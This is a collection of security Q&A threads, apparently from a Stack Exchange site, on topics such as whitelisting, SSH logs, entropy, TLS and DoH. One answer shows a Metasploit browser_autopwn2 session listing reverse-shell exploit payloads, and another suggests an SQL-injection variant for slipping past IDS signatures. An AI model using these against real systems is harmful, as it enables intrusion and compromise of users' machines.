When does it make sense to whitelist some subdomains but not others for a given domain? Little Snitch has been useful to get a better handle on all the connections my computer tries to make. It's main dialog to allow or deny connections allows customizing (e.g. require specific port, or allow all connections, etc.) but it has no option to allow *.domain.com. This is possible by manually editing the created rules, which is inconvenient, but it makes me wonder when this should and should not be a concern. That is, based on my naive logic:

If I trust apple.com (to the extent I trust they are not grabbing personal data that I have not agreed to), then is there any reason I should trust foo.apple.com any less? My assumption is that all such subdomains are under the control of Apple, Inc, that owns the domain name, so are all equally trustworthy (again, in terms of not hacking my personal data).

Id like to be able to reduce rules to *.apple.com, *.google.com, etc. Rather than have hundreds of subdomains.

Same logic for non-standard ports to a trusted domain.

One exploit I could imagine would be a malicious program sending data to www.apple.com (say) that is not actually meant for Apple's servers, and then external parties intercepting that data. This could include data encrypted with 3rd party keys, such that neither me nor Apple could ever determine what that data is. But such an exploit would seem virtually impossible to prevent or even detect using any of the tools at my disposal... Right? And yet, also doesn't seem particularly difficult for attackers to implement.

If you're concerned about malware you should note that subdomains of apple.com or google.com allow running a malware command & control (C&C). For example malware could encrypt and post your data to a discussions.apple.com post. Previously, malware has used Google Docs as C&C. This is however not very common for typical malware, thus the answer to your question depends on whether you're trying to protect against non-common, eventually targeted, malware -- if that's the case you shouldn't whitelist *.example.com.


What are the risks of connecting a Raspberry Pi to a PC? I was wondering what are the risks of connect a Raspberry pi to a PC through the USB port?I could think of HID emulation and keystroke injection into the victims PC.Other than that what are the possible attacks?

The answer depends on what you mean by "connect through a USB port" A Raspberry Pi has two types of USB port: the data ports using full-sized USB headers, and the power port using a microUSB header.

Power Port

If you are connecting the Pi's 5V power port to a PC for the purposes of powering the Pi, then you are safe because the microUSB's data pins are disconnected [source]. I suppose there's a risk of over-voltage and frying the Pi / PC, but that's hardly a security issue.

Data ports

If you are connecting the data USB ports of the Pi to a PC - either with a male-male USB cable, or through a hub, then all bets are off. A malicious Pi could advertize itself to the PC however it wants, as a HID device, as a USB harddrive, printer, wtv, the PC won't be able to tell the difference.


Can this be a DoS Attack? When I'm checking my log, I found like 15k events of " PAM service(sshd) ignoring max retries; 6 > 3 "

I know this might be normal, and considered as Brute-Force attack, but can it be classified as DoS attempt?

Sample of the log:

| 8864611 | eros     | 2014-08-11 18:18:38 |  PAM service(sshd) ignoring max retries; 6 > 3 |
| 8865352 | eros     | 2014-08-11 18:46:59 |  PAM service(sshd) ignoring max retries; 6 > 3 |
| 8865364 | eros     | 2014-08-11 18:47:13 |  PAM service(sshd) ignoring max retries; 6 > 3 |
| 8865693 | eros     | 2014-08-11 19:00:39 |  PAM service(sshd) ignoring max retries; 6 > 3 |
| 8865700 | eros     | 2014-08-11 19:01:55 |  PAM service(sshd) ignoring max retries; 6 > 3 |
| 8865706 | eros     | 2014-08-11 19:02:11 |  PAM service(sshd) ignoring max retries; 6 > 3 |
| 8865716 | eros     | 2014-08-11 19:02:28 |  PAM service(sshd) ignoring max retries; 6 > 3 |
| 8866965 | eros     | 2014-08-11 19:59:47 |  PAM service(sshd) ignoring max retries; 6 > 3 |
| 8867068 | eros     | 2014-08-11 20:00:18 |  PAM service(sshd) ignoring max retries; 6 > 3 |
| 8896353 | eros     | 2014-08-12 17:31:33 |  PAM service(sshd) ignoring max retries; 6 > 3 |
| 8896363 | eros     | 2014-08-12 17:31:49 |  PAM service(sshd) ignoring max retries; 6 > 3 |
| 8901992 | eros     | 2014-08-12 21:40:48 |  PAM service(sshd) ignoring max retries; 6 > 3 |
| 8902001 | eros     | 2014-08-12 21:41:03 |  PAM service(sshd) ignoring max retries; 6 > 3 |
| 8902007 | eros     | 2014-08-12 21:41:18 |  PAM service(sshd) ignoring max retries; 6 > 3

If this were a denial of service attack, you'd be seeing those 15k messages covering less than an hour -- probably far less.  This is just the botnet-based brute-force attack on SSH passwords that constitutes part of the "background noise" of the Internet.

Make sure you're using strong passwords (or better yet, key-based authentication) and that you've disabled root login over SSH, and don't worry about it.


GETRANDOM syscall's relation to kernel entropy pool state I get that when GETRANDOM is called with bitmask 00, the entropy source is from /dev/urandom, and the CSPRNG output is blocking until internal entropy pool has at least 128 bits of entropy. Is the state of the pool readable at /proc/sys/kernel/random/entropy_avail ? If it's not that one, where can I find it?

The goal here is to be able to set a custom threshold (256-bits) for entropy pool's internal state before using it to generate keys etc.

Sysctls and the blocking pool.
You can increase the value of the kernel.random.read_wakeup_threshold sysctl. This sysctl changes the behavior of the blocking pool, forcing users of the blocking pool to wait until the entropy estimate exceeds this value. From the manpage at random(4):
read_wakeup_threshold
    This file contains the number of bits of entropy required for
    waking up processes that sleep waiting for entropy from
    /dev/random.  The default is 64.

Note however that the blocking behavior you describe only applies to the system at very early boot. Once it has enough entropy, it will change to non-blocking behavior regardless of how low the current estimate gets. This is because you only need a certain number of bits of entropy once, and can create a virtually unlimited amount of cryptographically secure pseudorandom data once you have it. The entropy estimate going down does not change this fact.
Answering your exact question
Now, is it possible to change this initial threshold for the non-blocking pool (if you don't want to learn all the nitty-gritty, skip to the end of this answer)? I suspected it was not, but I wasn't sure, so I went to consult to the most authoritative documentation available: the source. The syscall getrandom(2) is defined in the kernel randomness driver. Note that this is specific to Linux kernel 4.14 (major changes to the randomness driver were made in 4.8).
Comments added by me for clarification to the getrandom() syscall code:
SYSCALL_DEFINE3(getrandom, char __user *, buf, size_t, count,
        unsigned int, flags)
{
    int ret;

    // If the flags bitmask is invalid, return an error.
    if (flags & ~(GRND_NONBLOCK|GRND_RANDOM))
        return -EINVAL;

    // Cap the requested size at the maximum value.
    if (count > INT_MAX)
        count = INT_MAX;

    // If the blocking pool is selected, read from it and return.
    // The _random_read() function will deal with blocking.
    if (flags & GRND_RANDOM)
        return _random_read(flags & GRND_NONBLOCK, buf, count);

    // If we get to here, we know the non-blocking pool was selected.

    // Is the CRNG ready? Evaluates true if it is not.
    if (!crng_ready()) {
        // If we want to bail out and not block, return -EAGAIN.
        if (flags & GRND_NONBLOCK)
            return -EAGAIN;

        // Otherwise, block until random bytes become available.
        ret = wait_for_random_bytes();
        if (unlikely(ret))
            return ret;
    }

    // Finally, read from the non-blocking pool and return.
    return urandom_read(NULL, buf, count, NULL);
}

OK, so most of this is pretty self-evident, but what are the functions crng_ready() and wait_for_random_bytes() for? The latter is defined in the same file:
int wait_for_random_bytes(void)
{
    // If crng_ready() returns true (which is likely), return 0.
    if (likely(crng_ready()))
        return 0;

    // Otherwise, wait until it does return true before returning.
    return wait_event_interruptible(crng_init_wait, crng_ready());
}
EXPORT_SYMBOL(wait_for_random_bytes);

So now we know in the definition of getrandom() that, if the non-blocking pool is selected, it will check if crng_ready() returns true. If it does not return true, then we will wait, sleeping until it does. What does crng_ready() do? It turns out it's defined as a simple macro:
#define crng_ready() (likely(crng_init > 0))

The variable starts out as zero, but what matters is where exactly it is set to 1. It appears that this is done in the crng_fast_load() function, defined here:
static int crng_fast_load(const char *cp, size_t len)
{
    unsigned long flags;
    char *p;

    // Enter the critical section (acquire the spinlock).
    if (!spin_trylock_irqsave(&primary_crng.lock, flags))
        return 0;

    // If crng_ready() is already true, leave the critical section and return.
    if (crng_ready()) {
        spin_unlock_irqrestore(&primary_crng.lock, flags);
        return 0;
    }

    // Mix in the values at cp with the CRNG state. Increment crng_init_cnt
    // for each byte from cp that gets mixed in (up to len times).
    p = (unsigned char *) &primary_crng.state[4];
    while (len > 0 && crng_init_cnt < CRNG_INIT_CNT_THRESH) {
        p[crng_init_cnt % CHACHA20_KEY_SIZE] ^= *cp;
        cp++; crng_init_cnt++; len--;
    }

    // Leave the critical section (release the spinlock).
    spin_unlock_irqrestore(&primary_crng.lock, flags);

    // If crng_init_cnt is >= CRNG_INIT_CNT_THRESH, set crng_init to 1.
    if (crng_init_cnt >= CRNG_INIT_CNT_THRESH) {
        invalidate_batched_entropy();
        crng_init = 1;
        wake_up_interruptible(&crng_init_wait);
        pr_notice("random: fast init done\n");
    }
    return 1;
}

From this, we see that crng_init_cnt is incremented for each byte which crng_fast_load() takes in. The function is called early at boot in various entropy-gathering functions to add as much possible data to the pool early on. We're almost there! Last thing to do is find out the value of CRNG_INIT_CNT_THRESH, defined here:
#define CRNG_INIT_CNT_THRESH (2*CHACHA20_KEY_SIZE)

So it's double CHACHA20_KEY_SIZE. This one is defined in a header file, crypto/chacha20.h:
#define CHACHA20_KEY_SIZE   32

So CRNG_INIT_CNT_THRESH is 64. And there's your answer!
Recap

CHACHA20_KEY_SIZE is hardcoded as 32.
CRNG_INIT_CNT_THRESH is double CHACHA20_KEY_SIZE, making it 64.
crng_init_cnt is incremented for every byte of early randomness gathered.
When at least 64 bytes of randomness are gathered, crng_init is set to 1.
When crng_init is 1, crng_ready() evaluates true.
When crng_ready() evaluates true, getrandom() resumes and returns.

The amount of early entropy required before getrandom() resumes and returns is not in fact 128 bits. It is already hardcoded as 64 bytes (512 bits), twice the amount you wanted.


Is it possible to encode a Flash exploit with msfencode? I am using a Flash exploit from metasploit, exploit/multi/browser/adobe_flash_hacking_team_uaf.
The Cisco FirePOWER services notice these signatures and drop the packets.

I was wondering about the function msfencode, which encodes your payload.
Is it possible to use this function to encode your exploit?

It is not possible to encode the exploit as you would encode a payload. The reason is that the data that is part of an exploit is directly processed by the vulnerable application (in this case Flash). The function inside the Flash binary which process the exploit data won't decode it first. In case of payloads we can encode it because when the payload gets executed, we already have code execution privileges on the box so we can first decode the payload and then execute it.

There are a lot of ways through which you can bypass the signature based IDS rules. I am not sure if you have access to the actual signature code (most probably the regex) but if you have, you can study it and see what it is looking for. In my past experience with Cisco ASA IDS, the signatures were so dump you can practically replace ' OR '1'='1' -- with ' OR '1000'='1000' -- and it would work.


How do you defend specifically against attackers utilizing any or all of the commercial exploit kits? There are several commercial exploit kits available containing 0day vulnerabilities:

White Phosphorus Exploit Pack http://www.immunityinc.com/products-whitephosphorus.shtml
Agora Exploit Pack http://gleg.net/agora.shtml
VulnDisco Exploit Pack Professional http://www.intevydis.com/vulndisco.shtml
D2 Exploitation Pack http://www.immunityinc.com/products-dsquare.shtml
... plus many more

What are the techniques to defend against such kits short of purchasing each to learn what they contain?

Merged the following question with the one above:

What are techniques to defend against popular crimeware kits/packs?
For example, the crimeware packs described on http://mipistus.blogspot.com/:

CrimePack Exploit Kit
Eleonore Exploit Pack
Phoenix Exploit Kit
Black Hole Exploit Kit
SpyEye
Siberia Exploit Kit
JustExploit Exploit Pack
YES Exploit Pack
... plus more

Another description of CrimePack by Brian Krebs.

This is such a massive question that I think the only answer is going to be to practice a defence in depth approach to security.  Start at the first point of contact and build up protection down the the very core.

In order to see what those type of kits are doing make sure you are logging and monitoring everything, this should give you some idea of what is happening.


How to scan 20k hosts to check if they're up? I have a list of about 20000 hostnames and I need to check which ones are up. I would say 98% of them are down.
I have already tried powershell and python scripts without much success (couldn't set a decent timeout in each).
I'm trying to use NMap with the following command:

nmap.exe -iL hostnames.txt -sn --host-timeout=200ms -oN results.txt

Even then, each down host takes about 8 seconds because NMap gets stuck trying to resolve the hostname into an IP address. Also, I see a warning at the start that says NMap couldn't import all necessary NPCap functions but i don't know if that is responsible.

Am I doing something wrong? Any suggestion?

There are tools made for large-scale scanning that have implemented optimizations exactly for solving this problem. One of the best known and most developed options is masscan. It can reach speeds of 10 MPPS (Million Packets per Second) and can scan the entire IPv4 internet in ~6 minutes. It even has flags that let you benchmark on your local network without spamming the whole internet.  Masscan has optimizations that don't require your OS to maintain full TCP/IP connections just to see which hosts are responding.


Non malware use cases of LSASS dumping I recently looked up some techniques for dumping credentials from LSASS and came across an article that says PPL and other protections were not enabled by default in Windows because some non malicious programs from third parties (including antivirus companies) uses them.

However I was unable to find if actually some programs interact in a non-conventional way with LSASS, which programs do it and why.

Does anybody have information regarding this?

To be explicit: dumping anything out of LSASS is completely unsupported and is not ever taken into consideration when building LSA protection features.

What is taken into consideration is the public APIs that 3rd parties can use to load packages into LSA for Single Sign-On support. These APIs have been around forever and many ISVs have built genuine packages for their own software. Software like smart card middleware.

The way PPL works is by limiting what foreign code can be loaded into the LSA process by checking if the code is Authenticode-signed. It must have a special key usage and signed by a Microsoft CA before LSA will load it under PPL. So third parties can build packages that work with PPL, it's just effort on their part. Turning this requirement on overnight breaks that potentially mission-critical software and that's bad.

Requisite warning: when enabling PPL also enable HVCI for protection from potential kernel bypasses.


Does an equivalent for netconf exist in the Cisco ASA world? I'm looking for a method to send instructions to a Cisco ASA without writing scripts to execute on the CLI over SSH. Cisco doesn't seem to support netconf or xml-pi on the physical ASAs (only their new 1000v series).

Are there any suggestions for an ASA API?

To best of my knowledge , there are no Cisco API's for Physical ASA's . You need to do it via CLI or Cisco Security Manager or ASDM .


When should server side sessions be used instead of client side sessions? From an information security perspective, when should server side sessions be enabled instead of client side sessions?

From what I gather, "secure client side sessions" are cookies that contain data signed in such a way that the user can "look" at their contents, but cannot modify them without the server knowing. I'm a bit confused as to whether this implies that the contents of the cookie are encrypted, or that the contents are human readable. Flask, for example, encrypts the data. If the data is encrypted, than in what circumstances would it not be safe to store session data in the cookie? For example, is it safe to put a csrf-token in a client side cookie, whether it is encrypted or not?

On the other hand, a "server side session" has two parts: a cookie containing only a session ID, and a database entry containing the session ID and the data. In this implementation, the user cannot access the session data.

For example, is it safe to put a csrf-token in a client side cookie, whether it is encrypted or not?

Yes. OWASP calls this method Double Submit Cookies. I have never seen it in practice though.

The reason this is safe is that CSRF tokens are temporary values. For example, if you would store an encrypted password in a client side session, that would be pretty bad (depending on the key and encryption algo). An attacker may be able to steal it, decrypt it, and then have the users password. For the CSRF token, an attacker gains nothing. Additionally, it doesn't affect server security if an attacker or user changes the cookie, all that will happen is that the token doesn't work.

  in what circumstances would it not be safe to store session data in the cookie?

There are two things to worry about here:

A user or attacker may change data in the cookie and the server would have no idea that this happened, accepting the changed data (for example, it may contain a value such as isAdmin:0, which may be changed to isAdmin:1).
The cookie could contain sensitive information which a user or attacker may read out

To solve the first point, a MAC could be used, to solve the second point, the cookie data should be encrypted.

Before you create client side sessions, you should ask yourself if you really need it (which may be the case if you have multiple servers which need to share the same session state, eg for scalability reasons). Session data is traditionally handled server side for a reason: It contains data that the client should not be able to read or change. That's easiest to do by just not sending it to the client.

Setting up a complex system to store session data client side is difficult, and a lot may go wrong doing it. If it's not necessary, just store the data server side.


What does DNS-over-HTTPS actually do? I don't mean a technical breakdown of how the technology works but what does it do for me, the end user. For instance, does it prevent my ISP or network admin from seeing/logging the sites I connect to similar to how HTTPS prevents them from seeing passwords I enter? Does it allow the bypassing of firewalls similar to that of a VPN? It what ways does it differ from a VPN? (I've heard a lot of comparisons between DoH and VPNs, can't say I understand most of it though)
Any assistance in clearing up this confusion would be much appreciated.

... does it prevent my ISP or network admin from seeing/logging the sites I connect to similar to how HTTPS prevents them from seeing passwords I enter?

DNS over HTTPS will prevent your ISP/admin to sniff and modify DNS requests and only DNS requests. They will still be able to get information on which sites you visit from inspecting other traffic you produce, i.e. from HTTP headers in HTTP requests, from the domain information in the TLS handshake in HTTPS, by checking which IP address you connect to etc.

  ... Does it allow the bypassing of firewalls similar to that of a VPN?

It allows to bypass DNS based blocking which is often to block sites at the ISP level since it is the easiest and cheapest thing to do for the ISP. But other inspection and blocking methods continue to exist, but these are more costly to implement.

  ...  It what ways does it differ from a VPN?

A VPN encrypts everything, DoH only the DNS traffic (see first item in this answer). A VPN thus offers more protection against sniffing or modification by the ISP.


Is is necessary to encrypt the message digest? In symmetric key settings, in order to provide the message integrity, we compute the hash of the message. The message along with the message digest is then encrypted. Is it necessary to encrypt the hash of the message? Can't we send the encrypted message along with the unencrypted message digest?

"Is is necessary to encrypt the message digest?" and

"Is it necessary to encrypt the hash of the message?"

Yes, since otherwise:
An eavesdropper could determine, with overwhelming accuracy, which pairs of [core ciphertext + hash] pairs are for the same message.  (The following three sentences wouldn't apply if you used a MAC instead of a hash.)  An eavesdropper could test any guess at the message on their own.  If you use CTR mode, then an adversary who knows the plaintext could modify a [core ciphertext + hash] pair to yield any plaintext of their choice.  If there is a secure encryption scheme, then there is one for which your

approach would allow an adversary to generate [core ciphertext + hash] pairs that will decrypt

to arbitrary plaintexts even without having seen any legitimate [core ciphertext + hash] pairs.

"Can't we send the encrypted message along with the unencrypted message digest?"

You could "send the encrypted message along with the unencrypted message digest";

however, that would be even less secure than what you're doing.

Your approach is not secure.

See Authenticated Encryption vs. contained and encrypted checksum/hash?

and Should we MAC-then-encrypt or encrypt-then-MAC?.


Analyzing a TLS connection? Suppose I want a secure TLS communication between me and myschool.edu. Which of the following should I trust to preserve confidentiality, integrity, and authenticity. Here are the options and my analysis.

a) The entire network between me and myschool.edu. (I can't, a hacker could have compromised something in between)

b) Computers on my local and home network. (I can't, they could hack my information)

c)The operators of .edu's Authoritative DNS server. (I can trust them, there is only one owner of the .edu brand)

d) The operators of myschool.edu. (I can trust them since I want to communicate with them. Am wondering, what if an individual operator is bad )

e) myschool.edu's CA. (I think I can trust the CA)

f) All the CA's configured into myschool.edu's software. (Since the world has very few CA's, I can trust them).

g) All the CA's configured into my web browser. (I trust CA's)

h) The designers of the cryptographic algorithms. (I can trust them, I assume TLS has good algorithms. I don't know whether its the only encryption that will happen)

Did I analyze these options correctly? I want someone else's point of view on these options.

Some things to consider when dealing with TLS as a protocol.

The payload of the communicating packet is encrypted. The 'dst' & 'src' packet attributes are not, which allows for any device within the network route to intercept your communication.
Numerous attack against the SSL & TLS protocol over the years have allowed for the following attack types (not a complete list);

a) cipher down grades - During the initial handshake of the
communication each party (prior to certificate verification) performs
an agreement on the cipher, hashing algorithms and additional
cryptography protections to use during the 'session'. In this
particular scenario if a MITM attack is in progress and weaknesses
exist, the chosen cipher can be negated to a weak cipher allowing for
further decryption/attacks (or as the pros term it 'crypto analysis')
b) weak random number - All crypto relies heavily upon truly random
numbers. Previous exploits here relied upon flaws within random
numbers when private keys are generated. This allowed for easily
factored cipher text attacks.
c) memory leaks - Most people are aware of the 'heart bleed' attack which allowed a specific handshake negotiation to trigger a memory leak of the affected device which lead to exposure of system accounts, private keys and whatever else was in the buffer at the time of the attack.
d) certificate spoofing - While not as common CA signatures on fake TLS certificate attacks have been known to happen. This usually is the result of a certificate authority getting attacked and having their root certificates stolen and used to sign fake certificates leading browsers to believe they are legitimate.

There are many, many more vectors of attack regarding TLS/SSL communications. If you wish to keep abreast of these 'confirmed' flaws go to the source.

That being said there are also mitigation strategies you can employ in your environment as well as protecting yourself, unfortunately it takes some research to do so.

In regards to mitigating flaws within the DNS protocol there are several methods of minimizing the possibility of a MITM scenario.

DNSSEC - Which employs cryptographic signatures and encrypted DNS queries between zones and clients.
Whitelists - Deny by default. Then configure zones to only accept updates from a whitelist of devices.
arptables - A method of filtering layer two protocols such as DNS & DHCP.

While that is also not a comprehensive list of mitigation strategies for a server/client configuration of DNS queries and zone updates it should give you some information with which to start.


What's the limiting resource that makes DDoS attacks possible? I often see DDoS attacks compared by network traffic, for example:

  The biggest DDoS attack to date took place in February of 2018. This
  attack targeted GitHub, a popular online code management service used
  by millions of developers. At its peak, this attack saw incoming
  traffic at a rate of 1.3 terabytes per second (Tbps), sending packets
  at a rate of 126.9 million per second.

Source: https://www.cloudflare.com/learning/ddos/famous-ddos-attacks/

But is that really the problem? Clogging up the network?

Or is it processing power, RAM, or something else?

Distributed Denial of Service is a type of DoS attack where multiple compromised systems target the resources of a single system to bring it offline.
The resources can be any of those you stated and they mostly fall into one of these categories:

Traffic attacks: Traffic flooding attacks send a huge volume of TCP, UDP and ICPM packets to the target. Legitimate requests get lost and these attacks may be accompanied by malware exploitation.

Bandwidth attacks: This DDos attack overloads the target with massive amounts of junk data. This results in a loss of network bandwidth and equipment resources and can lead to a complete denial of service.

Application attacks: Application-layer data messages can deplete resources in the application layer, leaving the target's system services unavailable.


armitage find attack tool cli equivalent command Ive been using metasploit through the cli and a little through armitage. The tool in armitage to find attacks that gives you attacks that are more likely to work is quite useful, so i was wondering what is the cli command to run that if there is one.

If it doesnt exist what is the best way to filter through the modules and find what the best possible attacks are. Obviously I use search and filter based on service, OS etc.. but dont have a way of knowing which module would be the best suited compared to others.

There used to be an autopwn option in Metasploit which would do what you are looking for but only target browsers. However, just like the name in Armitage implies, it selects a large set of exploits, fire it at the target and hope for the best. However, exploitation if not done correctly can do more harm than good. For example, an SMB exploit which has a wrong target selected can crash the SMB service which require manual restart of the machine in order to fix. It means not only will the person attacking the machine won't get a session but it can be easily detected as well. Based upon these concerns, the autopwn functionality has been deprecated. Metasploit now has the AutoPwn2 module which targets only browser based exploits but in a lot smarter way. This is better in the sense that exploits are only fired if the target is fingerprinted correctly and then modules are fired based upon their ranks which means more reliable exploits are attempted first. This way if you are targeting a flash exploit, you don't need to be worried about the architecture and OS details of the connected users and the module will take care of it.

msf > use auxiliary/server/browser_autopwn2
msf auxiliary(browser_autopwn2) > show options

Module options (auxiliary/server/browser_autopwn2):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   EXCLUDE_PATTERN                   no        Pattern search to exclude specific modules
   INCLUDE_PATTERN                   no        Pattern search to include specific modules
   Retries          true             no        Allow the browser to retry the module
   SRVHOST          0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT          8080             yes       The local port to listen on.
   SSL              false            no        Negotiate SSL for incoming connections
   SSLCert                           no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                           no        The URI to use for this exploit (default is random)

Auxiliary action:

   Name       Description
   ----       -----------
   WebServer  Start a bunch of modules and direct clients to appropriate exploits

msf auxiliary(browser_autopwn2) > set URIPATH /
URIPATH => /
msf auxiliary(browser_autopwn2) > run
[*] Auxiliary module execution completed

[*] Searching BES exploits, please wait...
msf auxiliary(browser_autopwn2) > [*] Starting exploit modules...
[*] Starting listeners...
[*] Starting the payload handler...
[*] Starting the payload handler...
[*] Starting the payload handler...
[*] Using URL: http://0.0.0.0:8080/

[*] The following is a list of exploits that BrowserAutoPwn will consider using.
[*] Exploits with the highest ranking and newest will be tried first.

Exploits
========

 Order  Rank       Name                                       Payload
 -----  ----       ----                                       -------
 1      Excellent  firefox_webidl_injection                   firefox/shell_reverse_tcp on 4442
 2      Excellent  firefox_tostring_console_injection         firefox/shell_reverse_tcp on 4442
 3      Excellent  firefox_svg_plugin                         firefox/shell_reverse_tcp on 4442
 4      Excellent  firefox_proto_crmfrequest                  firefox/shell_reverse_tcp on 4442
 5      Excellent  webview_addjavascriptinterface             android/meterpreter/reverse_tcp on 4443
 6      Excellent  samsung_knox_smdm_url                      android/meterpreter/reverse_tcp on 4443
 7      Great      adobe_flash_worker_byte_array_uaf          windows/meterpreter/reverse_tcp on 4444
 8      Great      adobe_flash_domain_memory_uaf              windows/meterpreter/reverse_tcp on 4444
 9      Great      adobe_flash_copy_pixels_to_byte_array      windows/meterpreter/reverse_tcp on 4444
 10     Great      adobe_flash_casi32_int_overflow            windows/meterpreter/reverse_tcp on 4444
 11     Great      adobe_flash_uncompress_zlib_uaf            windows/meterpreter/reverse_tcp on 4444
 12     Great      adobe_flash_shader_job_overflow            windows/meterpreter/reverse_tcp on 4444
 13     Great      adobe_flash_shader_drawing_fill            windows/meterpreter/reverse_tcp on 4444
 14     Great      adobe_flash_pixel_bender_bof               windows/meterpreter/reverse_tcp on 4444
 15     Great      adobe_flash_opaque_background_uaf          windows/meterpreter/reverse_tcp on 4444
 16     Great      adobe_flash_net_connection_confusion       windows/meterpreter/reverse_tcp on 4444
 17     Great      adobe_flash_nellymoser_bof                 windows/meterpreter/reverse_tcp on 4444
 18     Great      adobe_flash_hacking_team_uaf               windows/meterpreter/reverse_tcp on 4444
 19     Good       wellintech_kingscada_kxclientdownload      windows/meterpreter/reverse_tcp on 4444
 20     Good       ms14_064_ole_code_execution                windows/meterpreter/reverse_tcp on 4444
 21     Good       adobe_flash_uncompress_zlib_uninitialized  windows/meterpreter/reverse_tcp on 4444

[+] Please use the following URL for the browser attack:
[+] BrowserAutoPwn URL: http://x.x.x.x:8080/
[*] Server started.


CEH Incident Response phases: Investigation vs Analysis I am preparing for CEH from Oriyano book. He refers to NIST's incident response phases. These phases are:

Response
Triage
Investigation
Containment
Analysis and tracking
Recovery
Repair
Debriefing and feedback

I can't understand the difference between Investigation phase and Analysis and Tracking phase. Both refer to analyzing and dissecting the collected evidence in-house or with external experts.

Any help?

Regards.

The short version is that investigation is gathering information, and analysis is putting information (gathered from the investigation) into a comprehensive picture.

The ECcouncil (CEH governing body) says

  Computer hacking forensic investigation is the process of detecting hacking attacks and properly extracting evidence to report the crime and conduct audits to prevent future attacks.

After this information is obtained, an analysis can be made about the information. An analysis might include the risk of a repeat attack, what information was taken, other vulnerable systems that might also be exploited, what was the attacker searching for, etc.


Threatening text messages on my cell phone, 120 in one day but no phone number for sender, how do I get this info? Threatening text messages on my cell phone, 120 in one day, but no phone number for the sender, how do I get this info? I think they were sent via home pc. What type of wording, code, etc. should I look for in the "details" about the message in order to possibly figure out who sent them or where they came from?

Sadly it will be very hard to track down the sender.

The only way to track down a sender without a senders id to go through your carrier. For them the procedure is also hard as they would have to do the following:

Track the message -> Track all hops it went through until it got to you -> Contact the senders service provider and ask for information (Only works with a court order [Unless the sender uses the same service provider])

Since all this will probably not happen unless theere is a court order I suggest you contact authorities and work with them on stopping the sender.


Chrome popup - what if button labels for "Accept/Cancel" are exchanged? Almost all websites show inline modal popups in chrome. How can I be sure that "Cancel" is really cancel and "OK/accept/allow" are properly labeled by the website?

There are two kinds of inline popups. There are ones generated by and controlled by the website itself, using JavaScript, and ones generated by your browser which cannot be spoofed:

Popups from a website that are generated entirely in JavaScript are not meant to protect against a malicious website. Such a website could simply not ask for permission before taking an action and simply take it immediately. There is nothing to stop them from switching the labels, but also nothing to stop them from not giving you any popups in the first place.
There are also popups for various permissions that are internal to the browser. For example, if a website attempts to access your webcam, the browser will open a popup asking you if you would like to permit this access. This popup is not controlled by the website and the labels cannot be switched by it. Unless you grant permission, the webcam interface will be blocked.


Vulnerabilities despite FIDO U2F? FIDO U2F seems much more secure than one-time-passwords (OTP), especially TOTP, because of the challenge-response architecture. In what ways is a U2F user still vulnerable?

I presume if a user's computer is compromised or the user loses their U2F dongle then all bets are off, right? But phishing no longer works? (I'm not an aspiring hacker, just a guy trying to understand a technology.)

EDIT: There's a related question about U2F linked to in the comments. That question asks how secure U2F is. I'm wondering specifically about vulnerabilities not fixed by U2F.

Thanks.

In my opinion U2F lacks one thing at the moment:
The privacy of your secret key.

Each device comes with it's own secret key. A site specific key is derived from this secret key to do the challenge response when logging in to a site.
This is ment to keep you anonymous and easily register and authenticate at a site.

But! Each U2F device that is sold nowadays comes with a initialized not changeable secret key.
Thus you need to trust the vendors, which created this secret key.

I would like to have a U2F device, where the user can create his own secret key! As long as this is not available, this is the biggest drawback. My opinion.

Edit on February 25th, 2017

This was true for Yubikeys and Plugup devices and many other diveces OEMed  from these. In fact there are nowadays devices/vendors, that claim to really create and not derivce the key pairs for the registration. (I have not tested and verified this, yet.


Is it safe to generate passwords online? I usually generate strong passwords using various online tools. Some time ago I mentioned it to a friend of mine and he was shocked that I do such dangerous thing. Is it really so unsafe to generate passwords online? Could there be generated some kind of cookie that tracks where I pasted it?

No.  It is not safe to generate passwords online.  Don't do it!

In theory there are some ways that one could perhaps build a password generator that is not so bad (e.g., run it in Javascript, on your local machine, and so forth).  However, in practice, there are too many pitfalls that an average user cannot be expected to detect.  Consequently, I do not recommend it.

For instance, an average user has no way to vet whether the password generator does indeed ensure that the password never leaves your site.  The average user has no way to verify that the web site is not keeping a copy of your password.  The average user has no way to verify that the password generation code is using good entropy (and Javascript's Math.random(), which is the obvious thing to use for this purpose, is not a great pseudorandom number generator).


how does a site know it is me even after changing ip address and clearing cookie? There is this one website that won't let me connect from my PCs connected to the same router. I tried turning off the router, wait 15 minutes, restart it to make sure it gets a different ip address from my ISP.
I also tried TOR browser and ZenMate chrome extension that ensures my traffic goes through one of their servers but the site still rejects me.
I tried it using firefox, chrome and IE in privacy modes.
also tried clearning all history (cache, tracking info).

I know the site is up and running because when i connect to it from my smartphone using cellular network i am able to see contents.

How could this site still know it is me?

edit1:

I checked my ipaddress at whatismyipaddress.com or similar site after using TOR or ZenMate and the site shows expected ip address: different from mine in different country.
Since using TOr or ZenMate fail as well i don't think it is ip address based detection.
after failing to connect to the site on my laptop, i went to my pc that never accessed the site before and it won't connect either.

It probably blocks an entire IP range because of abuse. So if you get another IP address, it probably is still in the same range, like 12.34.56.xx. In that case it doesn't matter if xx=3 or xx=123. If you use another computer on the same local network (like smartphone with wifi or VM with different OS), and still have this problem, that means they block the range.

Your use of TOR may be seen as abuse. I've had this myself. I had a TOR node installed on a home server. The result was that I was blocked on one discussion forum. I mailed them about it because the site was totally blank at home, while it worked elsewhere. They said my IP was blacklisted because of TOR. And this was a normal TOR node, not an exit node! I told them this and they (an IT site) acknowledged it as being a wrong block, but couldn't remove my IP from the blacklist.

Another option is that they identify the computer using CSS and Javascript. There are several options like checking screen size and which fonts you have installed. This is probably enough to uniquely identify your computer.


Is there any way to get Chrome 27 to trust a self-signed cert? I'm running latest gen Chrome (27) and preparing a demo that requires using a self-signed cert to support HTTPS on a local IIS website. The cert has been created with the correct common name for the website (good little guide here) and then added to the trusted root certs on the local machine.

In IE, everything is good with no warnings, broken padlocks or red address bar so it's clearly installed in the Windows cert store. However in Chrome I'm getting the classic big red crosses through the padlock icon and HTTPS scheme in the address bar. Inspecting the cert advises that the identity can't be verified.

For various reasons I need to use Chrome for this demo, is there any way to get it behaving as you'd expect to see with a genuine cert? I know Google does some funky things with certs, is this doable?

So it turns out that Chrome won't trust names that aren't fully qualified. I was working with a host name of "foo" which was fine in IE once the cert was in the list of trusted roots. I created a new cert for "foo.com", repeated exactly the same process and now Chrome is happy.


